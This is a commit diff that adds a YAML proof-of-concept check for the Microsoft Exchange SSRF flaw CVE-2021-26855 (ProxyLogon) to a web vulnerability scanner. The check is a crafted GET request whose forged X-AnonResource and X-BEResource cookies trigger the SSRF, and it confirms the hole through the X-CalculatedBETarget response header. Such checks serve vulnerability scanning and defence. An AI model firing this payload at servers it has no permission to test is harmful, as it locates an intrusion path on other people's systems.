添加exchange_ssrf_poc

WebScan/pocs/exchange-cve-2021-26855-ssrf.yml

@@ -0,0 +1,14 @@
+name: poc-yaml-exchange-cve-2021-26855-ssrf
+rules:
+  - method: GET
+    path: /owa/auth/x.js
+    headers:
+      Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
+    follow_redirects: false
+    expression: |
+      response.headers["X-CalculatedBETarget"].icontains("localhost")
+detail:
+  author: sharecast
+  Affected Version: "Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010"
+  links:
+    - https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse